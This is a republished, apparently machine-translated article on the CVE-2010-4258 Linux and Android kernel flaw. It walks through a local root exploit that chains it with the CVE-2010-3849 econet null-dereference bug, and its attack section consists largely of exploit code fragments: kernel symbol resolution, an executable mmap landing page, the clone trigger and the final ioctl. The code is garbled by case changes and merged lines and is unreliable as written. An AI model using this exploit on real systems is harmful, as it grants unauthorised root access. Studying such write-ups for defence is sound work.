Root exploit for Android and Linux (cve-2010-4258)

Source: Internet
Author: User
Tags cve

/*

This article is prepared by Mo Gray Ash, reproduced please indicate the source.

mo Ash Gray mailbox: [email protected]

*/

I. Introduction to Vulnerabilities

cve-2010-4258 This loophole is very interesting, the main idea is that if the clone function to create the process, and with the CLONE_CHILD_CLEARTID flag, then the process at the time of exiting, can cause the kernel arbitrary address write 0 of the bug. The POC code exploits multiple vulnerabilities to achieve the purpose of elevation of privilege.


Two. Predecessor knowledge (process creation, exit)

1. When the fork or clone process is in progress, Copy_process performs the following actions:

static struct task_struct *copy_process (unsigned long clone_flags,                                        unsigned long stack_start,                                        struct Pt_regs * Regs,                                        unsigned long stack_size,                                        int __user *child_tidptr,                                        struct PID *pid,                                        int trace) {        p->set_ Child_tid = (Clone_flags & clone_child_settid)? Child_tidptr:null;         /* Clear TID on mm_release () */        P->clear_child_tid = (Clone_flags & clone_child_cleartid)? child_ Tidptr:null;}
If the flag of clone is prefixed with the CLONE_CHILD_CLEARTID flag, the address of the child_tidptr passed in by the application layer is saved in the Clear_child_tid pointer.


2. When the application layer invokes the Clone function and passes the CLONE_CHILD_CLEARTID flag, the child_tidptr pointer is assigned to the child process Clear_child_tid

Clone ((Int (*) (void *)) trigger,              (void *) ((unsigned long) Newstack + 65536),              CLONE_VM | Clone_child_cleartid | SIGCHLD,              &fildes, NULL, NULL, CHILD_TIDPTR);


3. The process calls the Do_exit cleanup resource at exit, and the call path is as follows: Do_exit->exit_mm->mm_release

/** If we ' re exiting normally, clear a user-space tid field if* requested.  We leave this alone if dying by signal, to leave* the value intact in a core dump, and to save the unnecessary* trouble, Say, a killed vfork parent shouldn ' t touch this mm.* userland only wants this is done for a sys_exit.*/if (Tsk->clear_chi Ld_tid) {if (!) ( Tsk->flags & pf_signaled) &&    atomic_read (&mm->mm_users) > 1) {/* * We don ' t check the error C Ode-if Userspace has * is set up a proper pointer then tough luck. */put_user (0, Tsk->clear_child_tid); Sys_futex (Tsk->clear_child_tid, futex_wake,1, NULL, NULL, 0);} Tsk->clear_child_tid = NULL;}
In the above code, if Tsk->clear_child_tid is not empty, then it will call Put_user (0, Tsk->clear_child_tid);


4.put_user is actually a macro, specifically the __put_user_check function, which resets the value of Tsk->clear_child_tid to 0.

#define __put_user_check (X,ptr,size) ({Long __pu_err =-efault;__typeof__ (* (PTR)) __user *__pu_addr = (PTR); __typeof__ ( * (PTR)) __pu_val = X;if (Likely (ACCESS_OK (Verify_write, __pu_addr, size)) __put_user_size (__pu_val, __pu_addr, (size), __PU_ERR); __pu_err;})
The __put_user_check function calls ACCESS_OK to check if the arguments passed in are legitimate.

#define ACCESS_OK (Type,addr,size) _ACCESS_OK ((unsigned long) (addr), (size)) int _access_ok (unsigned long addr, unsigned  Long size) {if (!size) return 1;if (!addr | | addr > (0xffffffffUL-(size-1))) Goto _bad_access;if (Segment_eq (GET_FS), Kernel_ds)) return 1;if (Memory_start <= addr && (addr + size-1) < Memory_end) return 1;_bad_access:pr_debu G ("Bad access attempt:pid[%d] addr[%08lx] size[0x%lx]\n", current->pid, addr, size); return 0;}
ACCESS_OK is also a macro, the specific function is _ACCESS_OK, which mainly to the external addr and size parameters to do a legitimate check, where the key call statement as follows

if (Segment_eq (Get_fs (), Kernel_ds))
return 1;

# define GET_FS () (Current_thread_info ()->addr_limit)

If get_fs () = Kernel_ds, then the _ACCESS_OK check always returns 1.


Three. Predecessor knowledge (invalid address access exception)

Every time we access an invalid address, the system executes do_page_fault to generate the Exception log, end the exception process, and so on.

int Do_page_fault (struct pt_regs *regs, unsigned long address,  unsigned int write_access, unsigned int trapno) {//.... .. Die ("Oops", Regs, (write_access <<) | trapno, Address);d O_exit (SIGKILL);}
and often some kernel bugs to meet get_fs () = Kernel_ds This condition, this is very important.


Next look at cve-2010-3849 this vulnerability, it is mainly a 0 address access exception vulnerability, Msg->msg_name can be controlled by user space, so it can be a null value. The next saddr->cookie; call will cause 0 address access exceptions.

static int econet_sendmsg (struct KIOCB *iocb, struct socket *sock,                          struct MSGHDR *msg, size_t len) {             struct sock *s K = sock->sk;      struct Sockaddr_ec *saddr= (struct Sockaddr_ec *) msg->msg_name;                      Eb->cookie = Saddr->cookie;}


Four. Exploit

1. Get the function address you need to use

/* Resolve addresses of relevant symbols */printf ("[*] resolving kernel addresses...\n"); Econet_ioctl = Get_kernel_sym ("Econet_ioctl"); Econet_ops = Get_kernel_sym ("Econet_ops"); Commit_creds = (_commit_creds) get_kernel_sym ("Commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym ("prepare_kernel_cred");

2. Apply for a new process stack space

if (! ( Newstack = malloc (65536)) {                printf ("[*] Failed to allocate memory.\n");                return-1;        }

3. Handle the address that needs to be mapped, compare the key

The address pointers of each econet function are saved in econet_ops,//* sizeof (void *) reaches the next function address of econet_ioctl//And then-1, so when zeroing is cleared econet_ IOCTL the next function address of the high 24 byte and the ECONET_IOCTL function of the high 8 byte target = econet_ops + * sizeof (void *)-OFFSET; Clear the high 8 bytes of the Econet_ioctl function landing = Econet_ioctl << SHIFT >> shift;//Landing by page alignment, map 2 pages of memory payload = mmap (( void *) (Landing & ~0XFFF), 2 * 4096,                       Prot_read | Prot_write | Prot_exec,                       map_private | map_anonymous | map_fixed, 0, 0); if (long) payload = =-1) {           rintf ("[*] Failed to mmap () at Target address.\n");           return-1;} Copy the right-of-reference code to landingmemcpy (void *) landing, &trampoline, 1024);
PS. Here's a description of why the address is mapped to the (ECONET_IOCTL&0X00FFFFFF) address range, rather than just the ECONET_IOCTL function address in the Econet_ops pointer array is cleared 0. That is because the new version of Linux does not allow users to directly call the MMAP function map 0 address, so the use of a very clever little tricks.

Can be called to see the lowest mapped address under the system, I'm here 65536


4.clone process

Trigger used to trigger cve-2010-3849 vulnerability, is a 0 address access exception int trigger (INT * fildes) {        int ret;        struct Ifreq IFR;         memset (&IFR, 0, sizeof (IFR));        strncpy (Ifr.ifr_name, "eth0", ifnamsiz);         RET = IOCTL (fildes[2], siocsifaddr, &IFR);         if (Ret < 0) {                printf ("[*] Failed to set Econet address.\n");                return-1;        }         Splice (fildes[3], NULL, fildes[1], NULL, 0);        Splice (fildes[0], NULL, fildes[2], NULL, 0);         /* shouldn ' t get here ... *        /exit (0);} Clone process, the child process calls trigger to trigger a 0 address-access vulnerability, which in turn 0//the address of target to clear the high 8-byte clone ((Int (*) (void *)) trigger of the ECONET_IOCTL function address, (              void *) ((unsigned long) Newstack + 65536),              CLONE_VM | Clone_child_cleartid | SIGCHLD,              &fildes, NULL, NULL, target);

5. The last IOCTL function triggers the underlying ECONET_IOCTL function execution, and the Econet_ioctl function's height of 8 bytes has been cleared by us, so it will be called to our map address, and then trigger the power code to get root permissions

Sleep (1);p rintf ("[*] triggering payload...\n"); ioctl (Fildes[2], 0, NULL);


Reference article:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258

http://www.exploit-db.com/exploits/15704/

Http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9








Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.